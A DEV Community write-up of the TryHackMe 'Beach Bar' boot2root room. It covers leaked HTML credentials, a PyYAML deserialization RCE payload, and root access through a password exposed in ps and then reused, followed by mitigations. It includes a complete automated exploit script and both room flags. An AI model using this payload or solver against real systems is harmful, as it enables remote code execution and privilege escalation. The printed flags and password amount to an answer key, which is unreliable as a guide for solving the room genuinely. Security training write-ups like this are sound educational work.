DEV Community

Cover image for [TryHackMe Writeup] Beach Bar
Wahiduddin Samani
Wahiduddin Samani

Posted on

[TryHackMe Writeup] Beach Bar

Beach Bar — Boot2Root (YAML Deserialization RCE + Credential Reuse)

Field Value
Target http://MACHINE_IP
Platform TryHackMe — Hacker Holidays · The Byte Lotus Hotel
Category Boot2Root
Difficulty Easy
User flag THM{y4ml_pl4yl1st_pwns_th3_b34ch}
Root flag THM{cr3d3nt14l_r3us3_4t_th3_b34ch_b4r}

Attack Chain (Summary)

dj/dj leaked in HTML comment
        │
        ▼
/login → /import (unsafe PyYAML yaml.load)
        │
        ▼
YAML deserialization RCE  →  shell as bartender
        │
        ▼
/opt/beach-bar/jukeboxd/jukeboxd.py --stream-pass "SunsetSpritz2024!"  (visible in ps aux, runs as root)
        │
        ▼
echo 'SunsetSpritz2024!' | su root -c 'cat /root/root.txt'
        │
        ▼
ROOT SHELL → both flags
Enter fullscreen mode Exit fullscreen mode

Step-by-Step

Step 1 — Recon

curl.exe -s -i http://MACHINE_IP
Enter fullscreen mode Exit fullscreen mode

Gunicorn (Flask) app on port 80 redirecting to /login.

Step 2 — Source Code Review: Leaked Credentials

Viewing the login page HTML source revealed a developer comment:

<!--
    staff note: the demo DJ login is still enabled for the soft opening.
    dj / dj  -- swap this before the season starts (ticket BAR-7)
-->
Enter fullscreen mode Exit fullscreen mode

Login: dj / dj

Step 3 — Dashboard Enumeration

After login, /dashboard exposed two features:

  • /import — upload or paste a YAML playlist
  • /export — download the current playlist as YAML

Step 4 — PyYAML Deserialization RCE

The /import endpoint deserializes the uploaded playlist with an unsafe loader:

parsed = yaml.load(content, Loader=yaml.Loader)
Enter fullscreen mode Exit fullscreen mode

yaml.Loader can instantiate arbitrary Python objects — classic insecure deserializationRCE.

Payload (uploaded as a .yml file):

!!python/object/apply:subprocess.check_output
args: ["id"]
kwds: {shell: true}
Enter fullscreen mode Exit fullscreen mode

Response: uid=1001(bartender) gid=1001(bartender) groups=1001(bartender) — command execution as bartender.

Payload quirks (important when crafting commands):

  • Shell redirections (>), 2>&1, and backticks make check_output return non-zero and the output is lost.
  • Use || echo fallback to keep exit status 0 and always get output back.
  • su commands must be single-quoted: echo 'pass' | su root -c 'cat /root/root.txt'.
  • Uploading the payload as a multipart playlist_file avoids YAML string-escaping mangling.

Step 5 — User Flag

cat /home/bartender/user.txt
Enter fullscreen mode Exit fullscreen mode

User flag: THM{y4ml_pl4yl1st_pwns_th3_b34ch}

Step 6 — Privilege Escalation Recon

Process listing exposed a root daemon leaking its secret in the process arguments:

root  610  /opt/beach-bar/venv/bin/python /opt/beach-bar/jukeboxd/jukeboxd.py --stream-pass "SunsetSpritz2024!" --bitrate 320k
Enter fullscreen mode Exit fullscreen mode

jukeboxd.service runs as root and its --stream-pass is visible to any user via ps aux (the service file itself is root-owned mode 640, so cat was denied — ps leaks it anyway).

Step 7 — Root Flag (Credential Reuse)

The stream password is reused as the root account password:

echo 'SunsetSpritz2024!' | su root -c 'cat /root/root.txt'
Enter fullscreen mode Exit fullscreen mode

Root flag: THM{cr3d3nt14l_r3us3_4t_th3_b34ch_b4r}


Automation

solve_beachbar.py performs the entire chain automatically:

python solve_beachbar.py http://MACHINE_IP
Enter fullscreen mode Exit fullscreen mode
[+] Step 1: Login as dj/dj
    Logged in as dj.
[+] Step 2: Verify YAML RCE
    b'uid=1001(bartender) gid=1001(bartender) groups=1001(bartender)\n'
[+] Step 3: Read user flag
    Found at /home/bartender/user.txt
    USER FLAG: THM{y4ml_pl4yl1st_pwns_th3_b34ch}
[+] Step 4: Extract --stream-pass from process list
    Stream pass (ps aux): SunsetSpritz2024!
[+] Step 5: su root and read root flag
    Password worked: SunsetSpritz2024!
    ROOT FLAG: THM{cr3d3nt14l_r3us3_4t_th3_b34ch_b4r}
Enter fullscreen mode Exit fullscreen mode

It was verified with the fallback password deliberately corrupted — the script still solved the room using only the password it extracted from ps aux.


Vulnerabilities

  1. Insecure PyYAML deserializationyaml.load with yaml.Loader allows arbitrary object construction → RCE as bartender.
  2. Secret exposure in process arguments--stream-pass readable by any local user via ps aux.
  3. Credential reuse — the streaming password is the root password.

Mitigations

Issue Fix
Unsafe YAML Use yaml.safe_load (or a JSON schema validator) — never yaml.Loader on untrusted input
Secret in argv Pass secrets via environment files / secret manager, not CLI arguments
Reused password Unique credentials per service; rotate and monitor reuse
Hardcoded creds in HTML Remove demo accounts and dev notes from production source

Tools Used

  • curl.exe — HTTP requests, login, multipart file upload
  • PyYAML gadget !!python/object/apply:subprocess.check_output — RCE
  • ps aux / su — privilege escalation
  • Python (urllib, re) — full exploit automation in solve_beachbar.py


# Byte Lotus - Beach Bar Boot2Root - FULLY AUTOMATIC SOLVER
# Solves: THM{y4ml_pl4yl1st_pwns_th3_b34ch} / THM{cr3d3nt14l_r3us3_4t_th3_b34ch_b4r}
#
# Does everything by itself:
#   1. Logs in as dj/dj (leaked in HTML comment)
#   2. Confirms YAML deserialization RCE via /import (PyYAML unsafe load)
#   3. Locates and reads the user flag
#   4. Extracts the root password from the jukeboxd process args (--stream-pass)
#   5. su root -> reads the root flag
#   6. Prints both flags
#
# Usage:  python solve_beachbar.py [http://IP]
# Default: http://10.49.157.31

import sys
import re
import html as htmllib
import urllib.request
import urllib.parse
import http.cookiejar
import socket

TARGET = (sys.argv[1] if len(sys.argv) > 1 else "http://10.49.157.31").rstrip("/")
TIMEOUT = 15
RETRIES = 3
KNOWN_PASS = "SunsetSpritz2024!"  # fallback only; script extracts it from ps if possible
socket.setdefaulttimeout(TIMEOUT)

cj = http.cookiejar.CookieJar()
opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj))

FLAG_RE = re.compile(r"THM\{[^}]+\}")


def http_req(path, data=None, headers=None, method=None):
    req = urllib.request.Request(TARGET + path, data=data, headers=headers or {})
    if method:
        req.get_method = lambda: method
    return opener.open(req, timeout=TIMEOUT)


def get(path):
    return http_req(path).read().decode(errors="replace")


def post_form(path, data):
    body = urllib.parse.urlencode(data).encode()
    return http_req(path, data=body, headers={"Content-Type": "application/x-www-form-urlencoded"}).read().decode(errors="replace")


def rce(cmd, retries=RETRIES):
    """Run a command through the PyYAML unsafe-deserialization RCE; return stdout."""
    payload = (
        "!!python/object/apply:subprocess.check_output\n"
        f'args: ["{cmd}"]\n'
        "kwds: {shell: true}\n"
    )
    boundary = "----WebKitFormBoundary7MA4YWxkTrZu0gW"
    body = (
        f"--{boundary}\r\n"
        'Content-Disposition: form-data; name="playlist_file"; filename="p.yml"\r\n'
        "Content-Type: application/x-yaml\r\n\r\n"
        f"{payload}\r\n"
        f"--{boundary}--\r\n"
    )
    last = ""
    for attempt in range(1, retries + 1):
        try:
            resp = http_req(
                "/import",
                data=body.encode(),
                headers={"Content-Type": f"multipart/form-data; boundary={boundary}"},
            ).read().decode(errors="replace")
            m = re.search(r"<pre>(.*?)</pre>", resp, re.S)
            last = htmllib.unescape(m.group(1)) if m else ""
            if last or attempt == retries:
                return last
        except Exception:
            if attempt == retries:
                raise
    return last


def find_flag_in(text):
    m = FLAG_RE.search(text)
    return m.group(0) if m else ""


def main():
    print(f"[+] Targeting {TARGET}")

    # --- Step 1: Login as dj/dj (leaked in HTML comment) ---
    print("[+] Step 1: Login as dj/dj")
    try:
        get("/login")
        post_form("/login", {"username": "dj", "password": "dj"})
        dash = get("/dashboard")
        ok = "logout" in dash.lower() or "import" in dash.lower() or bool(find_flag_in(dash))
        if not ok:
            print("[-] Login failed — wrong creds or target not the Beach Bar app.")
            return
        print("    Logged in as dj.")
    except Exception as e:
        print(f"[-] Login error: {e}")
        print("[!] Is the TryHackMe machine running? Start the room and run again.")
        return

    # --- Step 2: Verify RCE ---
    print("[+] Step 2: Verify YAML RCE")
    out = rce("id")
    print(f"    {out.strip() or '(no output)'}")
    if "bartender" not in out:
        print("[-] RCE failed — /import may be patched or payload blocked.")
        return

    # --- Step 3: Locate and read user flag ---
    print("[+] Step 3: Read user flag")
    user_flag = ""
    for path in ("/home/bartender/user.txt", "user.txt"):
        out = rce(f"cat {path} || ls -la /home/bartender || find / -name user.txt 2>/dev/null || echo NO_FLAG")
        user_flag = find_flag_in(out)
        if user_flag:
            print(f"    Found at {path}")
            break
    if not user_flag:
        print("[-] User flag not found — trying to locate it.")
        listing = rce("find / -iname '*user*flag*' -o -iname 'user.txt' 2>/dev/null || echo NONE")
        print(f"    {listing.strip()}")
    print(f"    USER FLAG: {user_flag or '(not found)'}")

    # --- Step 4: Extract root password from jukeboxd process args ---
    print("[+] Step 4: Extract --stream-pass from process list")
    ps = rce("ps aux")
    m = re.search(r"jukeboxd\.py --stream-pass\s+[\"']?([^\"'\s]+)[\"']?", ps)
    root_pass = m.group(1) if m else KNOWN_PASS
    source = "ps aux" if m else "fallback"
    print(f"    Stream pass ({source}): {root_pass}")

    # --- Step 5: su root -> root flag ---
    print("[+] Step 5: su root and read root flag")
    root_flag = ""
    for candidate in (root_pass, KNOWN_PASS):
        out = rce(f"echo {candidate} | su root -c 'cat /root/root.txt' || echo BAD_PASS")
        root_flag = find_flag_in(out)
        if root_flag:
            print(f"    Password worked: {candidate}")
            break
        print(f"    {candidate!r} rejected, trying next...")
    print(f"    ROOT FLAG: {root_flag or '(not found)'}")

    # --- Final summary ---
    print()
    print("=" * 46)
    print(f"USER FLAG : {user_flag or 'FAILED'}")
    print(f"ROOT FLAG : {root_flag or 'FAILED'}")
    print("=" * 46)


if __name__ == "__main__":
    main()

Enter fullscreen mode Exit fullscreen mode

Top comments (0)